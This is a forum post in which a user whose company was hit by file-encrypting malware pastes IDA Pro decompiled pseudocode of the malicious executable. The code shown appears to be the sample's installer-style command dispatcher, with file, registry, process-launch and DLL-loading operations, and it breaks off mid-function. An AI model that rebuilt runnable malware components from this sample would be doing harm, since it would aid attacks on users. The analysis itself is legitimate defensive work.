Hello guys, Yesterday, one of my employees got a malicious e-mail including this virus which encrypts files with 6 characters long random file expressions.
I've managed to disassemble the .exe which caused the data encryption using IDA PRO and extracted the code below which looks familiar to C.
LRESULT __stdcall sub_401000(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
LRESULT result; // eax@4
int v5; // esi@5
HDC v6; // eax@5
signed int v7; // edi@5
unsigned __int16 v8; // dx@6
int v9; // ecx@6
HBRUSH v10; // eax@6
HDC v11; // edi@10
struct tagPAINTSTRUCT Paint; // [sp+0h] [bp-5Ch]@5
struct tagRECT Rect; // [sp+40h] [bp-1Ch]@5
LOGBRUSH plbrush; // [sp+50h] [bp-Ch]@5
HDC Msga; // [sp+68h] [bp+Ch]@5
HGDIOBJ Msgb; // [sp+68h] [bp+Ch]@10
HBRUSH lParamb; // [sp+70h] [bp+14h]@6
HFONT lParama; // [sp+70h] [bp+14h]@9
if ( Msg == 15 )
{
v5 = dword_4236F0;
v6 = BeginPaint(hWnd, &Paint);
plbrush.lbStyle = 0;
Msga = v6;
GetClientRect(hWnd, &Rect);
v7 = Rect.bottom;
Rect.bottom = 0;
while ( Rect.top < v7 )
{
LOBYTE(v8) = 0;
HIBYTE(v8) = (Rect.top * *(_BYTE *)(v5 + 86) + (v7 - Rect.top) * *(_BYTE *)(v5 + 82)) / v7;
v9 = v8;
LOBYTE(v9) = (Rect.top * *(_BYTE *)(v5 + 85) + (v7 - Rect.top) * *(_BYTE *)(v5 + 81)) / v7;
plbrush.lbColor = (unsigned __int8)((Rect.top * *(_BYTE *)(v5 + 84) + (v7 - Rect.top) * *(_BYTE *)(v5 + 80)) / v7) | (v9 << 8);
v10 = CreateBrushIndirect(&plbrush);
Rect.bottom += 4;
lParamb = v10;
FillRect(Msga, &Rect, v10);
DeleteObject(lParamb);
Rect.top += 4;
}
if ( *(_DWORD *)(v5 + 88) != -1 )
{
lParama = CreateFontIndirectA(*(const LOGFONTA **)(v5 + 52));
if ( lParama )
{
v11 = Msga;
Rect.left = 16;
Rect.top = 8;
SetBkMode(Msga, 1);
SetTextColor(Msga, *(_DWORD *)(v5 + 88));
Msgb = SelectObject(Msga, lParama);
DrawTextA(v11, chText, -1, &Rect, 0x820u);
SelectObject(v11, Msgb);
DeleteObject(lParama);
}
}
EndPaint(hWnd, &Paint);
result = 0;
}
else
{
if ( Msg == 70 )
{
*(_DWORD *)(lParam + 24) |= 0x10u;
*(_DWORD *)(lParam + 4) = hwnd;
}
result = DefWindowProcA(hWnd, Msg, wParam, lParam);
}
return result;
}
int *__stdcall sub_40117D(int a1)
{
int *result; // eax@1
int v2; // edx@1
unsigned int v3; // esi@2
int v4; // edi@2
int v5; // ecx@4
int v6; // ecx@7
result = (int *)dword_423708;
v2 = *(_DWORD *)(1048 * a1 + dword_423708 + 8);
if ( v2 & 2 )
{
v3 = a1 + 1;
v4 = 0;
if ( a1 + 1 < (unsigned int)dword_42370C )
{
result = (int *)(1048 * v3 + dword_423708 + 8);
do
{
v5 = *result;
if ( *result & 2 )
{
++v4;
}
else if ( v5 & 4 )
{
v6 = v4--;
if ( !v6 )
return result;
}
else if ( !(v5 & 0x10) )
{
*result = v5 ^ ((unsigned __int8)v2 ^ (unsigned __int8)v5) & 1;
}
++v3;
result += 262;
}
while ( v3 < dword_42370C );
}
}
return result;
}
unsigned int __stdcall sub_4011EF(unsigned int a1, int a2)
{
unsigned int v2; // edx@1
int v3; // ebx@1
int v4; // esi@1
int v5; // eax@1
int *v6; // edi@5
unsigned int result; // eax@5
int v8; // ecx@5
int v9; // ecx@19
int v10; // [sp+Ch] [bp-8h]@1
int v11; // [sp+10h] [bp-4h]@1
v2 = a1;
v3 = dword_423708;
v4 = dword_423708 + 1048 * a1;
v11 = 0;
v10 = 0;
v5 = *(_DWORD *)(v4 + 8);
if ( v5 & 2 && a2 )
{
LOBYTE(v5) = v5 & 0xBE;
v2 = a1 + 1;
*(_DWORD *)(v4 + 8) = v5;
}
if ( v2 >= dword_42370C )
{
LABEL_14:
result = 0;
}
else
{
while ( 1 )
{
v6 = (int *)(1048 * v2 + v3 + 8);
result = v2 + 1;
v8 = *v6;
if ( *v6 & 2 )
{
result = sub_4011EF(v2, 1);
v8 = *v6;
}
if ( v8 & 4 )
break;
if ( v8 & 0x40 )
++v11;
if ( v8 & 1 )
++v11;
else
++v10;
v2 = result;
if ( result >= dword_42370C )
goto LABEL_14;
}
if ( v11 )
{
if ( v10 )
{
*(_DWORD *)(v4 + 8) |= 0x40u;
}
else
{
v9 = *(_DWORD *)(v4 + 8);
LOBYTE(v9) = v9 & 0x7F;
*(_DWORD *)(v4 + 8) = v9 | 1;
}
}
}
return result;
}
char __stdcall sub_401299(unsigned int a1)
{
int v1; // eax@1
unsigned int v2; // esi@1
int *v3; // edx@3
LOBYTE(v1) = dword_423708;
v2 = 0;
if ( a1 < 0x20 && (unsigned int)dword_42370C > 0 )
{
v3 = (int *)(dword_423708 + 8);
do
{
v1 = *v3;
if ( !(*v3 & 6) )
{
if ( (1 << a1) & *(v3 - 1) )
LOBYTE(v1) = v1 | 1;
else
LOBYTE(v1) = v1 & 0xFE;
*v3 = v1;
}
++v2;
v3 += 262;
}
while ( v2 < dword_42370C );
}
return v1;
}
unsigned int __stdcall sub_4012E2(int a1)
{
unsigned int v1; // ebx@2
bool v2; // zf@3
_DWORD *v3; // esi@4
_DWORD *v5; // [sp+10h] [bp-8h]@1
unsigned int v6; // [sp+14h] [bp-4h]@1
v6 = 0;
v5 = (_DWORD *)(dword_4236F0 + 148);
do
{
v1 = 0;
if ( *v5 )
{
v2 = dword_42370C == 0;
if ( (unsigned int)dword_42370C > 0 )
{
v3 = (_DWORD *)(dword_423708 + 8);
do
{
if ( !(*v3 & 6) && (!a1 || *(_DWORD *)(a1 + 4 * v1)) && ((1 << v6) & *(v3 - 1)) != (*v3 & 1) << v6 )
break;
++v1;
v3 += 262;
}
while ( v1 < dword_42370C );
v2 = v1 == dword_42370C;
}
if ( v2 )
break;
}
++v6;
++v5;
}
while ( v6 < 0x20 );
return v6;
}
int __stdcall sub_40136D(int a1)
{
int result; // eax@1
result = a1;
if ( a1 < 0 )
result = sub_405AEF(&byte_424000[-1024 * (a1 + 1)]);
return result;
}
int __stdcall sub_401389(int a1, HWND hWnd)
{
int v2; // esi@1
int v3; // eax@3
int v4; // eax@4
int v5; // eax@5
int v6; // ecx@6
int v7; // eax@8
v2 = a1;
while ( 1 )
{
if ( v2 < 0 || *(_DWORD *)(dword_423710 + 28 * v2) == 1 )
return 0;
v3 = sub_401434((LPSTR)(dword_423710 + 28 * v2));
if ( v3 == 0x7FFFFFFF )
break;
v4 = sub_40136D(v3);
if ( v4 )
{
v6 = v2;
v2 = v4 - 1;
v5 = v4 - 1 - v6;
}
else
{
v5 = 1;
++v2;
}
if ( hWnd )
{
nNumber += v5;
v7 = MulDiv(nNumber, 30000, nDenominator);
SendMessageA(hWnd, 0x402u, v7, 0);
}
}
return 0x7FFFFFFF;
}
int __stdcall sub_40140B(int a1)
{
return sub_401389(*(_DWORD *)(dword_4236F0 + 4 * a1 + 108), 0);
}
HWND __stdcall sub_401423(int a1)
{
return sub_404E63(a1, &byte_4097B0);
}
int __stdcall sub_401434(LPSTR FilePart)
{
const CHAR *v1; // ebx@1
int result; // eax@1
int v3; // edx@1
CHAR *v4; // esi@1
CHAR *v5; // edi@1
int v6; // eax@6
int v7; // eax@8
int v8; // eax@12
int v9; // ecx@15
const CHAR *v10; // eax@22
UINT v11; // eax@22
bool v12; // zf@23
const CHAR *v13; // edi@26
const CHAR *v14; // esi@26
const CHAR *v15; // eax@27
CHAR *v16; // esi@27
_BYTE v17; // al@31
const CHAR *v18; // eax@36
struct _WIN32_FIND_DATAA *v19; // eax@36
const CHAR *v20; // esi@37
const CHAR *v21; // edi@37
const CHAR *v22; // esi@42
struct _WIN32_FIND_DATAA *v23; // eax@45
const CHAR *v24; // eax@50
bool v25; // zf@50
const CHAR *v26; // eax@53
const CHAR *v27; // esi@54
const CHAR *v28; // eax@56
CHAR *v29; // eax@56
struct _WIN32_FIND_DATAA *v30; // eax@59
LONG v31; // ecx@59
int v32; // eax@66
signed __int32 v33; // eax@71
signed __int32 v34; // edi@71
const CHAR *v35; // eax@80
int v36; // eax@80
const CHAR *v37; // eax@79
const CHAR *v38; // eax@86
const CHAR *v39; // eax@86
int v40; // edi@87
const CHAR *v41; // eax@87
int v42; // eax@89
LPSTR v43; // edi@93
const CHAR *v44; // esi@99
int v45; // eax@100
int v46; // esi@109
int v47; // eax@109
int v48; // edi@117
int v49; // ecx@117
int v50; // eax@122
const CHAR *v51; // edi@140
int v52; // eax@140
SIZE_T v53; // eax@141
HGLOBAL v54; // edi@141
const CHAR *v55; // edi@145
HGLOBAL v56; // esi@150
HWND v57; // edi@156
int v58; // eax@156
const CHAR *v59; // eax@158
const CHAR *v60; // edi@159
const CHAR *v61; // eax@159
HWND v62; // eax@163
int v63; // ST20_4@166
HWND v64; // eax@166
LONG v65; // ST20_4@167
HWND v66; // eax@167
HWND v67; // esi@168
int v68; // ST1C_4@168
int v69; // ST18_4@168
const CHAR *v70; // eax@168
HANDLE v71; // eax@168
void *v72; // eax@168
HDC v73; // edi@170
int v74; // ST1C_4@170
int v75; // eax@170
HWND v76; // esi@171
const CHAR *v77; // esi@174
const CHAR *v78; // ebx@174
const CHAR *v79; // edi@174
const CHAR *v80; // esi@176
const CHAR *v81; // eax@187
struct _WIN32_FIND_DATAA *v82; // eax@187
struct _WIN32_FIND_DATAA *v83; // ebx@188
const CHAR *v84; // eax@190
const CHAR *v85; // eax@190
CHAR *v86; // eax@191
const CHAR *v87; // esi@197
HMODULE v88; // edi@198
FARPROC v89; // eax@200
int (*v90)(void); // esi@200
const CHAR *v91; // edi@211
int v92; // esi@214
const CHAR *v93; // esi@229
const CHAR *v94; // edi@229
const CHAR *v95; // esi@238
const CHAR *v96; // edi@238
const CHAR *v97; // eax@239
const CHAR *v98; // eax@244
const CHAR *v99; // edi@245
const CHAR *v100; // eax@245
HKEY v101; // esi@247
const CHAR *v102; // eax@248
LSTATUS v103; // edi@248
const CHAR *v104; // eax@249
int v105; // ST20_4@249
const CHAR *v106; // ST1C_4@249
HKEY v107; // eax@249
int v108; // eax@252
DWORD v109; // esi@252
HKEY v110; // edi@252
const CHAR *v111; // eax@252
DWORD v112; // eax@252
HKEY v113; // edi@262
const CHAR *v114; // eax@262
int v115; // ST20_4@268
int v116; // eax@270
void *v117; // ST20_4@278
const CHAR *v118; // eax@279
int v119; // eax@282
const CHAR *v120; // eax@283
DWORD v121; // ST18_4@285
void *v122; // eax@285
int v123; // eax@286
LPCSTR v124; // esi@291
unsigned __int8 v125; // al@296
DWORD v126; // ST20_4@308
int v127; // ST18_4@308
void *v128; // eax@308
DWORD v129; // eax@308
void *v130; // eax@311
void *v131; // eax@313
const CHAR *v132; // eax@315
HANDLE v133; // eax@315
const CHAR *v134; // esi@321
HGLOBAL v135; // edi@324
HGLOBAL v136; // eax@325
LONG v137; // esi@325
LONG v138; // ecx@327
_DWORD v139; // eax@327
int v140; // esi@327
int v141; // esi@332
CHAR *v142; // eax@335
CHAR *v143; // esi@336
SIZE_T v144; // eax@336
int v145; // esi@336
unsigned int v146; // eax@346
CHAR *v147; // [sp-8h] [bp-1B8h]@78
LPCSTR v148; // [sp-4h] [bp-1B4h]@16
const CHAR *v149; // [sp-4h] [bp-1B4h]@99
int v150; // [sp-4h] [bp-1B4h]@171
int v151; // [sp-4h] [bp-1B4h]@340
struct _WIN32_FIND_DATAA FindFileData; // [sp+Ch] [bp-1A4h]@313
struct _SHFILEOPSTRUCTA FileOp; // [sp+14Ch] [bp-64h]@231
unsigned int puLen; // [sp+16Ch] [bp-44h]@193
struct tagRECT Rect; // [sp+170h] [bp-40h]@1
DWORD dwHandle; // [sp+180h] [bp-30h]@190
LPCSTR lptstrFilename; // [sp+184h] [bp-2Ch]@87
int v158; // [sp+188h] [bp-28h]@1
int v159; // [sp+18Ch] [bp-24h]@1
int nCmdShow; // [sp+190h] [bp-20h]@1
SIZE_T dwBytes; // [sp+194h] [bp-1Ch]@12
FILETIME FileTime2; // [sp+198h] [bp-18h]@15
int v163; // [sp+1A0h] [bp-10h]@66
unsigned __int8 Buffer; // [sp+1A7h] [bp-9h]@292
LPCSTR lpString2; // [sp+1A8h] [bp-8h]@54
int v166; // [sp+1ACh] [bp-4h]@1
Rect.bottom = (LONG)hwnd;
v1 = 0;
qmemcpy(&v158, FilePart, 0x1Cu);
result = v159;
v3 = nCmdShow;
v166 = 0;
v4 = &byte_424000[1024 * v159];
v5 = &byte_424000[1024 * nCmdShow];
dword_40A7B0 = (int)&v159;
switch ( v158 )
{
case 3:
sub_404E63(v159, 0);
return 0x7FFFFFFF;
case 4:
++dword_422EAC;
if ( Rect.bottom )
PostQuitMessage(0);
return 0x7FFFFFFF;
case 5:
v6 = sub_40136D(v159);
return sub_401389(v6 - 1, 0);
case 6:
sub_404E63(v159, 0);
goto LABEL_359;
case 7:
v7 = sub_4029E0(0);
if ( v7 <= 1 )
v7 = 1;
Sleep(v7);
goto LABEL_359;
case 8:
SetForegroundWindow((HWND)Rect.bottom);
goto LABEL_359;
case 13:
v8 = v159;
if ( dwBytes )
{
dword_423760[v8] = dword_4237A0[v8];
}
else
{
dword_4237A0[v8] = dword_423760[v8];
dword_423760[v159] = sub_4029E0(1);
}
goto LABEL_359;
case 14:
v9 = dword_423760[dwBytes];
result = *(&v159 + (v9 == 0));
dword_423760[dwBytes] = FileTime2.dwLowDateTime & v9;
return result;
case 15:
v148 = (LPCSTR)dword_423760[nCmdShow];
goto LABEL_17;
case 9:
if ( hWnd )
{
ShowWindow(hWnd, nCmdShow);
result = v159;
}
if ( dword_422EC4 )
ShowWindow(dword_422EC4, result);
goto LABEL_359;
case 10:
v10 = sub_4029FD(-16);
v11 = SetFileAttributesA(v10, nCmdShow);
goto LABEL_23;
case 11:
v13 = sub_4029FD(-16);
v14 = sub_4056A1(v13);
if ( v14 )
{
do
{
v15 = sub_405633(v14, 92);
v16 = (CHAR *)v15;
LOBYTE(v15) = *v15;
*v16 = 0;
BYTE3(FilePart) = (_BYTE)v15;
if ( !CreateDirectoryA(v13, 0) && (GetLastError() != 183 || !(GetFileAttributesA(v13) & 0x10)) )
++v166;
v17 = BYTE3(FilePart);
*v16 = BYTE3(FilePart);
v14 = v16 + 1;
}
while ( v17 );
}
if ( nCmdShow )
{
sub_401423(-26);
sub_405B78(Directory, v13);
if ( !SetCurrentDirectoryA(v13) )
++v166;
}
else
{
sub_401423(-11);
}
goto LABEL_359;
case 12:
v18 = sub_4029FD(0);
v19 = sub_405E7C(v18);
goto LABEL_164;
case 16:
v20 = sub_4029FD(-48);
v21 = sub_4029FD(-33);
sub_4029FD(19);
if ( MoveFileA(v20, v21) )
{
sub_401423(-29);
goto LABEL_359;
}
if ( !dwBytes || !sub_405E7C(v20) )
goto LABEL_318;
sub_405A2C(v20, v21);
sub_401423(-28);
goto LABEL_359;
case 17:
v22 = sub_4029FD(0);
if ( !GetFullPathNameA(v22, 0x400u, v5, &FilePart) )
goto LABEL_47;
if ( FilePart > v22 && *FilePart )
{
v23 = sub_405E7C(v22);
if ( v23 )
{
sub_405B78(FilePart, v23->cFileName);
}
else
{
LABEL_47:
v166 = 1;
*v5 = 0;
}
}
if ( !dwBytes )
GetShortPathNameA(v5, v5, 0x400u);
goto LABEL_359;
case 18:
v24 = sub_4029FD(-1);
v25 = SearchPathA(0, v24, 0, 0x400u, v4, &FilePart) == 0;
goto LABEL_51;
case 19:
v26 = sub_4029FD(-17);
v11 = sub_405838((int)v4, v26);
goto LABEL_23;
case 20:
v27 = sub_4029FD(49);
lpString2 = v27;
FilePart = (LPSTR)(v159 & 7);
if ( sub_405675((int)v27) )
{
sub_405B78(String1, v27);
}
else
{
v28 = sub_405B78(String1, Directory);
v29 = (CHAR *)sub_405608(v28);
lstrcatA(v29, v27);
}
sub_405DE3(String1);
while ( 1 )
{
if ( (signed int)FilePart >= 3 )
{
v30 = sub_405E7C(String1);
v31 = 0;
if ( v30 )
v31 = CompareFileTime(&v30->ftLastWriteTime, &FileTime2);
FilePart = (LPSTR)((v31 & ((unsigned int)(FilePart - 3) | 0x80000000)) == 0);
}
if ( !FilePart )
sub_4057E4(String1);
Rect.bottom = (LONG)sub_405809(String1, 0x40000000u, (FilePart != (LPSTR)1) + 1);
if ( Rect.bottom != -1 )
break;
if ( FilePart )
{
sub_404E63(-30, lpString2);
v12 = FilePart == (LPSTR)2;
goto LABEL_24;
}
sub_405B78((LPSTR)::Buffer, byte_424000);
sub_405B78(byte_424000, String1);
sub_405B9A(&byte_4097B0, v163);
sub_405B78(byte_424000, (LPCSTR)::Buffer);
v32 = sub_40538C(&byte_4097B0, v159 >> 3) - 4;
if ( v32 )
{
if ( v32 == 1 )
{
++dword_423768;
return 0;
}
sub_404E63(-6, String1);
return 0x7FFFFFFF;
}
}
sub_404E63(-22, lpString2);
++dword_423794;
v33 = sub_402E62(dwBytes, (HANDLE)Rect.bottom, 0, 0);
--dword_423794;
v34 = v33;
if ( FileTime2.dwLowDateTime != -1 || FileTime2.dwHighDateTime != -1 )
SetFileTime((HANDLE)Rect.bottom, &FileTime2, 0, &FileTime2);
CloseHandle((HANDLE)Rect.bottom);
if ( v34 < 0 )
{
if ( v34 == -2 )
{
sub_405B9A(String1, -23);
lstrcatA(String1, lpString2);
}
else
{
sub_405B9A(String1, -18);
}
v147 = String1;
LABEL_235:
sub_40538C(v147, 0x200010u);
return 0x7FFFFFFF;
}
goto LABEL_359;
case 21:
v37 = sub_4029FD(0);
goto LABEL_85;
case 22:
v35 = sub_4029FD(49);
v36 = sub_40538C(v35, v159);
if ( !v36 )
goto LABEL_318;
if ( v36 == dwBytes )
return FileTime2.dwLowDateTime;
if ( v36 != FileTime2.dwHighDateTime )
goto LABEL_359;
return v163;
case 23:
v37 = sub_4029FD(-16);
LABEL_85:
sub_405438(v37, nCmdShow);
goto LABEL_359;
case 24:
v38 = sub_4029FD(1);
v39 = (const CHAR *)lstrlenA(v38);
goto LABEL_280;
case 25:
FilePart = (LPSTR)sub_4029E0(2);
v40 = sub_4029E0(3);
v41 = sub_4029FD(1);
v12 = dwBytes == 0;
lptstrFilename = v41;
*v4 = 0;
if ( v12 || FilePart )
{
v42 = lstrlenA(v41);
if ( v40 >= 0 || (v40 += v42, v40 >= 0) )
{
if ( v40 > v42 )
v40 = v42;
sub_405B78(v4, &lptstrFilename[v40]);
v43 = FilePart;
if ( FilePart )
{
if ( (signed int)FilePart < 0 )
{
v43 += lstrlenA(v4);
if ( (signed int)v43 < 0 )
{
FilePart = 0;
v43 = 0;
}
}
if ( (signed int)v43 < 1024 )
v4[(_DWORD)v43] = 0;
}
}
}
goto LABEL_359;
case 26:
v44 = sub_4029FD(32);
v149 = sub_4029FD(49);
if ( FileTime2.dwHighDateTime )
v45 = lstrcmpA(v44, v149);
else
v45 = lstrcmpiA(v44, v149);
if ( !v45 )
return dwBytes;
return FileTime2.dwLowDateTime;
case 27:
FilePart = (LPSTR)sub_4029FD(1);
if ( !ExpandEnvironmentStringsA(FilePart, v4, 0x400u) || dwBytes && !lstrcmpA(FilePart, v4) )
{
v166 = 1;
*v4 = 0;
}
v4[1023] = 0;
goto LABEL_359;
case 28:
v46 = sub_4029E0(0);
v47 = sub_4029E0(1);
if ( !v163 )
{
if ( v46 >= v47 )
{
if ( v46 > v47 )
return FileTime2.dwHighDateTime;
return dwBytes;
}
return FileTime2.dwLowDateTime;
}
if ( v46 < (unsigned int)v47 )
return FileTime2.dwLowDateTime;
if ( v46 <= (unsigned int)v47 )
return dwBytes;
return FileTime2.dwHighDateTime;
case 29:
v48 = sub_4029E0(1);
v49 = sub_4029E0(2);
switch ( FileTime2.dwLowDateTime )
{
case 0u:
v48 += v49;
break;
case 1u:
v48 -= v49;
break;
case 2u:
v48 *= v49;
break;
case 3u:
if ( !v49 )
goto LABEL_136;
v50 = v48 / v49;
goto LABEL_123;
case 4u:
v48 |= v49;
break;
case 5u:
v48 &= v49;
break;
case 6u:
v48 ^= v49;
break;
case 7u:
v50 = v48 == 0;
LABEL_123:
v48 = v50;
break;
case 8u:
if ( !v48 )
goto LABEL_132;
goto LABEL_133;
case 9u:
if ( !v48 )
goto LABEL_130;
LABEL_132:
if ( v49 )
LABEL_133:
v48 = 1;
else
LABEL_130:
v48 = 0;
break;
case 0xAu:
if ( v49 )
{
v48 %= v49;
}
else
{
LABEL_136:
v48 = 0;
v166 = 1;
}
break;
case 0xBu:
v48 <<= v49;
break;
case 0xCu:
v48 >>= v49;
break;
default:
break;
}
v148 = (LPCSTR)v48;
goto LABEL_17;
case 30:
v51 = sub_4029FD(1);
v52 = sub_4029E0(2);
wsprintfA(v4, v51, v52);
goto LABEL_359;
case 31:
v53 = dwBytes;
v54 = hMem;
if ( dwBytes )
{
do
{
--v53;
if ( !v54 )
goto LABEL_234;
v54 = *(HGLOBAL *)v54;
}
while ( v53 );
if ( v54 )
{
v55 = (char *)v54 + 4;
sub_405B78(String1, v55);
sub_405B78((LPSTR)v55, (LPCSTR)hMem + 4);
sub_405B78((LPSTR)hMem + 4, String1);
goto LABEL_359;
}
LABEL_234:
v147 = (CHAR *)sub_405B9A(0, -24);
goto LABEL_235;
}
if ( nCmdShow )
{
if ( !hMem )
goto LABEL_318;
sub_405B78(&byte_424000[1024 * v159], (LPCSTR)hMem + 4);
hMem = *(HGLOBAL *)v54;
GlobalFree(v54);
}
else
{
v56 = GlobalAlloc(0x40u, 0x404u);
sub_405B9A((LPSTR)v56 + 4, v159);
*(_DWORD *)v56 = hMem;
hMem = v56;
}
goto LABEL_359;
case 32:
case 33:
Rect.bottom = sub_4029E0(3);
FilePart = (LPSTR)sub_4029E0(4);
if ( v163 & 1 )
Rect.bottom = (LONG)sub_4029FD(51);
if ( v163 & 2 )
FilePart = (LPSTR)sub_4029FD(68);
if ( v158 == 33 )
{
v57 = (HWND)sub_4029E0(1);
v58 = sub_4029E0(2);
if ( v163 >> 2 )
{
v166 = SendMessageTimeoutA(v57, v58, Rect.bottom, (LPARAM)FilePart, 0, v163 >> 2, (PDWORD_PTR)&lpString2) == 0;
goto LABEL_161;
}
v59 = (const CHAR *)SendMessageA(v57, v58, Rect.bottom, (LPARAM)FilePart);
}
else
{
v60 = sub_4029FD(1);
v61 = sub_4029FD(18);
v59 = (const CHAR *)FindWindowExA(
(HWND)Rect.bottom,
(HWND)FilePart,
(LPCSTR)(*v60 != 0 ? (unsigned int)v60 : 0),
(LPCSTR)(*v61 != 0 ? (unsigned int)v61 : 0));
}
lpString2 = v59;
LABEL_161:
if ( v159 < 0 )
goto LABEL_359;
v148 = lpString2;
goto LABEL_17;
case 34:
v62 = (HWND)sub_4029E0(0);
v19 = (struct _WIN32_FIND_DATAA *)IsWindow(v62);
LABEL_164:
if ( !v19 )
return dwBytes;
return nCmdShow;
case 35:
v63 = sub_4029E0(2);
v64 = (HWND)sub_4029E0(1);
v39 = (const CHAR *)GetDlgItem(v64, v63);
goto LABEL_280;
case 36:
v65 = nCmdShow + dword_423728;
v66 = (HWND)sub_4029E0(0);
SetWindowLongA(v66, -21, v65);
goto LABEL_359;
case 37:
v67 = GetDlgItem((HWND)Rect.bottom, nCmdShow);
GetClientRect(v67, &Rect);
v68 = dwBytes * Rect.bottom;
v69 = dwBytes * Rect.right;
v70 = sub_4029FD(0);
v71 = LoadImageA(0, v70, 0, v69, v68, 0x10u);
v72 = (void *)SendMessageA(v67, 0x172u, 0, (LPARAM)v71);
if ( v72 )
DeleteObject(v72);
goto LABEL_359;
case 38:
v73 = GetDC((HWND)Rect.bottom);
v74 = GetDeviceCaps(v73, 90);
v75 = sub_4029E0(2);
lf.lfHeight = -MulDiv(v75, v74, 72);
ReleaseDC((HWND)Rect.bottom, v73);
lf.lfWeight = sub_4029E0(3);
lf.lfCharSet = 1;
lf.lfItalic = FileTime2.dwHighDateTime & 1;
lf.lfUnderline = FileTime2.dwHighDateTime & 2;
lf.lfStrikeOut = FileTime2.dwHighDateTime & 4;
sub_405B9A(lf.lfFaceName, nCmdShow);
v39 = (const CHAR *)CreateFontIndirectA(&lf);
goto LABEL_280;
case 39:
v76 = (HWND)sub_4029E0(0);
v150 = sub_4029E0(1);
if ( FileTime2.dwLowDateTime )
EnableWindow(v76, v150);
else
ShowWindow(v76, v150);
goto LABEL_359;
case 40:
v77 = sub_4029FD(0);
v78 = sub_4029FD(49);
v79 = sub_4029FD(34);
sub_4029FD(21);
sub_401423(-20);
if ( (signed int)ShellExecuteA(
(HWND)Rect.bottom,
(LPCSTR)(*v77 != 0 ? (unsigned int)v77 : 0),
v78,
(LPCSTR)(*v79 != 0 ? (unsigned int)v79 : 0),
Directory,
FileTime2.dwLowDateTime) < 33 )
goto LABEL_318;
goto LABEL_359;
case 41:
v80 = sub_4029FD(0);
sub_404E63(-21, v80);
FilePart = (LPSTR)sub_40532B((LPSTR)v80);
if ( !FilePart )
goto LABEL_318;
if ( dwBytes )
{
while ( WaitForSingleObject(FilePart, 0x64u) == 258 )
sub_405EDC(0xFu);
GetExitCodeProcess(FilePart, (LPDWORD)&lpString2);
if ( nCmdShow < 0 )
{
if ( lpString2 )
v166 = 1;
}
else
{
sub_405AD6(v5, (int)lpString2);
}
}
CloseHandle(FilePart);
goto LABEL_359;
case 42:
v81 = sub_4029FD(2);
v82 = sub_405E7C(v81);
FilePart = (LPSTR)v82;
if ( !v82 )
{
*v4 = 0;
*v5 = 0;
goto LABEL_318;
}
v83 = v82;
sub_405AD6(v5, v82->ftLastWriteTime.dwLowDateTime);
v148 = (LPCSTR)v83->ftLastWriteTime.dwHighDateTime;
LABEL_17:
sub_405AD6(v4, (int)v148);
goto LABEL_359;
case 43:
v84 = sub_4029FD(-18);
lptstrFilename = v84;
v85 = (const CHAR *)GetFileVersionInfoSizeA(v84, &dwHandle);
*v4 = 0;
lpString2 = v85;
*v5 = 0;
v166 = 1;
if ( v85 )
{
v86 = (CHAR *)GlobalAlloc(0x40u, (SIZE_T)v85);
FilePart = v86;
if ( v86 )
{
if ( GetFileVersionInfoA(lptstrFilename, 0, (DWORD)lpString2, v86)
&& VerQueryValueA(FilePart, SubBlock, (LPVOID *)&Rect.bottom, &puLen) )
{
sub_405AD6(v4, *(_DWORD *)(Rect.bottom + 8));
sub_405AD6(v5, *(_DWORD *)(Rect.bottom + 12));
v166 = 0;
}
GlobalFree(FilePart);
}
}
goto LABEL_359;
case 44:
v166 = 1;
if ( dword_423798 < 0 )
{
sub_401423(-25);
}
else
{
v87 = sub_4029FD(-16);
FilePart = (LPSTR)sub_4029FD(1);
if ( FileTime2.dwHighDateTime && (v88 = GetModuleHandleA(v87)) != 0 || (v88 = LoadLibraryExA(v87, 0, 8u)) != 0 )
{
v89 = GetProcAddress(v88, FilePart);
v90 = (int (*)(void))v89;
if ( v89 )
{
v166 = 0;
if ( dwBytes )
{
sub_401423(dwBytes);
if ( v90() )
v166 = 1;
}
else
{
((void (__cdecl *)(LONG, signed int, CHAR *, HGLOBAL *, int *))v89)(
Rect.bottom,
1024,
byte_424000,
&hMem,
&off_409000);
}
}
else
{
sub_404E63(-9, FilePart);
}
if ( !FileTime2.dwLowDateTime && sub_4035AE((int)v88) )
FreeLibrary(v88);
}
else
{
sub_401423(-10);
}
}
goto LABEL_359;
case 45:
dwHandle = (DWORD)sub_4029FD(-16);
Rect.bottom = (LONG)sub_4029FD(-33);
lptstrFilename = sub_4029FD(2);
v91 = sub_4029FD(-51);
puLen = (unsigned int)sub_4029FD(69);
if ( !sub_405675(Rect.bottom) )
sub_4029FD(33);
if ( CoCreateInstance(&rclsid, 0, 1u, &riid, (LPVOID *)&FilePart) < 0 )
goto LABEL_363;
v92 = (**(int (__stdcall ***)(LPSTR, void *, LPCSTR *))FilePart)(FilePart, &unk_407394, &lpString2);
if ( v92 >= 0 )
{
v92 = (*(int (__stdcall **)(LPSTR, LONG))(*(_DWORD *)FilePart + 80))(FilePart, Rect.bottom);
if ( !(BYTE1(FileTime2.dwHighDateTime) & 0x80) )
(*(void (__stdcall **)(LPSTR, CHAR *))(*(_DWORD *)FilePart + 36))(FilePart, Directory);
if ( ((signed __int32)FileTime2.dwHighDateTime >> 8) & 0x7F )
(*(void (__stdcall **)(LPSTR, signed __int32))(*(_DWORD *)FilePart + 60))(
FilePart,
((signed __int32)FileTime2.dwHighDateTime >> 8) & 0x7F);
(*(void (__stdcall **)(LPSTR, signed __int32))(*(_DWORD *)FilePart + 52))(
FilePart,
(signed __int32)FileTime2.dwHighDateTime >> 16);
if ( *v91 )
(*(void (__stdcall **)(LPSTR, const CHAR *, _DWORD))(*(_DWORD *)FilePart + 68))(
FilePart,
v91,
LOBYTE(FileTime2.dwHighDateTime));
(*(void (__stdcall **)(LPSTR, LPCSTR))(*(_DWORD *)FilePart + 44))(FilePart, lptstrFilename);
(*(void (__stdcall **)(LPSTR, unsigned int))(*(_DWORD *)FilePart + 28))(FilePart, puLen);
if ( v92 >= 0 )
{
v92 = -2147467259;
if ( MultiByteToWideChar(0, 0, (LPCSTR)dwHandle, -1, (LPWSTR)Rect.bottom, 1024) )
v92 = (*(int (__stdcall **)(LPCSTR, LONG, signed int))(*(_DWORD *)lpString2 + 24))(
lpString2,
Rect.bottom,
1);
}
(*(void (__stdcall **)(LPCSTR))(*(_DWORD *)lpString2 + 8))(lpString2);
}
(*(void (__stdcall **)(LPSTR))(*(_DWORD *)FilePart + 8))(FilePart);
if ( v92 >= 0 )
{
sub_401423(-12);
}
else
{
LABEL_363:
v166 = 1;
sub_401423(-16);
}
goto LABEL_359;
case 46:
v93 = sub_4029FD(0);
